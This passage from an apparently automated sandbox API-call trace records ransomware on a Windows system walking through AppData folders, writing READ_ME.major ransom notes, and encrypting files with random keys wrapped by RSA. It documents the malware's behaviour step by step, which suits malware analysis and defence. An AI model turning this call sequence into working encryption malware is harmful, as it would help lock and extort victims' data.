ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="en_GB", cAlternateFileName="")) returned 1 [0229.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\en_gb\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.265] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.266] CloseHandle (hObject=0x1a04) returned 1 [0229.266] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="en_US", cAlternateFileName="")) returned 1 [0229.267] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\en_us\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.267] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.268] CloseHandle (hObject=0x1a04) returned 1 [0229.269] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0229.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\nl_nl\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a04 [0229.270] WriteFile (in: hFile=0x1a04, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.271] CloseHandle (hObject=0x1a04) returned 1 [0229.271] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.271] FindNextFileW (in: hFindFile=0x2f34d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.271] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\log\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f348a0 [0229.272] FindNextFileW (in: hFindFile=0x2f348a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xd337c3d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.272] FindNextFileW (in: hFindFile=0x2f348a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.272] FindNextFileW (in: hFindFile=0x2f348a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.272] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34ca0 [0229.272] FindNextFileW (in: hFindFile=0x2f34ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07d8c0f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07d8c0f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.272] FindNextFileW (in: hFindFile=0x2f34ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.272] FindNextFileW (in: hFindFile=0x2f34ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.272] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34e20 [0229.273] FindNextFileW (in: hFindFile=0x2f34e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.273] FindNextFileW (in: hFindFile=0x2f34e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3af04ff7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3af04ff7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3af04ff7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.273] FindNextFileW (in: hFindFile=0x2f34e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="si", cAlternateFileName="")) returned 1 [0229.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\tmp\\si\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a10 [0229.274] WriteFile (in: hFile=0x1a10, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.275] CloseHandle (hObject=0x1a10) returned 1 [0229.275] FindNextFileW (in: hFindFile=0x2f34e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x720729ee, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="si", cAlternateFileName="")) returned 0 [0229.275] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3b036374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34ce0 [0229.276] FindNextFileW (in: hFindFile=0x2f34ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3b036374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.276] FindNextFileW (in: hFindFile=0x2f34ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b036374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b036374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b036374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.276] FindNextFileW (in: hFindFile=0x2f34ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b036374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b036374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b036374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.276] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3b036374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34960 [0229.276] FindNextFileW (in: hFindFile=0x2f34960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3b036374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.277] FindNextFileW (in: hFindFile=0x2f34960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b036374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b036374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b05c598, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.277] FindNextFileW (in: hFindFile=0x2f34960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b036374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b036374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b05c598, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.277] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x3b05c598, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34f20 [0229.277] FindNextFileW (in: hFindFile=0x2f34f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x3b05c598, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.277] FindNextFileW (in: hFindFile=0x2f34f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="GlobData", cAlternateFileName="")) returned 1 [0229.277] FindNextFileW (in: hFindFile=0x2f34f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0229.277] FindNextFileW (in: hFindFile=0x2f34f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b05c598, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b05c598, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.277] FindNextFileW (in: hFindFile=0x2f34f20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b05c598, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b05c598, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.277] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0229.277] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings", dwFileAttributes=0x80) returned 1 [0229.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a1c [0229.278] GetFileSizeEx (in: hFile=0x1a1c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=24) returned 1 [0229.278] ReadFile (in: hFile=0x1a1c, lpBuffer=0x5d1750, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1750*, lpNumberOfBytesRead=0x2e3f9b4*=0x18, lpOverlapped=0x0) returned 1 [0229.279] SetFilePointer (in: hFile=0x1a1c, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.279] WriteFile (in: hFile=0x1a1c, lpBuffer=0x5d1590*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1590*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18, lpOverlapped=0x0) returned 1 [0229.279] SetFilePointer (in: hFile=0x1a1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18 [0229.279] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.279] WriteFile (in: hFile=0x1a1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.279] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.279] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="f4fHxvdzhBf/LyQwr7FutdFqcmqQel0WD1f0EuJQ9VSzA2TILTWM54eAP5v62opX\n05bCa9FftWDn6DnCEOnOG830OP254S0KGH2TtNuV3yaxI9VejR+kr9mUQFsgRxvC\neKe/XYrMYZbBaegmKhN1wkGv7OiiRc+IOc+EbZ0Nzt3FmrCoCsEu/NBFmu8tvK2Z\n071b8P1Cnc+nwIdBzqjPa32h1iXMYfEcohCm1865R7VrhzqrcUZjMoCyUOq24V6e\nnz5HMtDDwjjZbGWaGIBzT4HRnXM7HVlE7I5umsnkG8AQnTaFgO1fR9NtDIsVGPcA\n12glcuJPUg6nFmp2fUhxgg==\n", pcchString=0x2e3f9a8) returned 1 [0229.280] WriteFile (in: hFile=0x1a1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.280] WriteFile (in: hFile=0x1a1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.280] CloseHandle (hObject=0x1a1c) returned 1 [0229.381] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0229.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", dwFileAttributes=0x80) returned 1 [0229.382] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 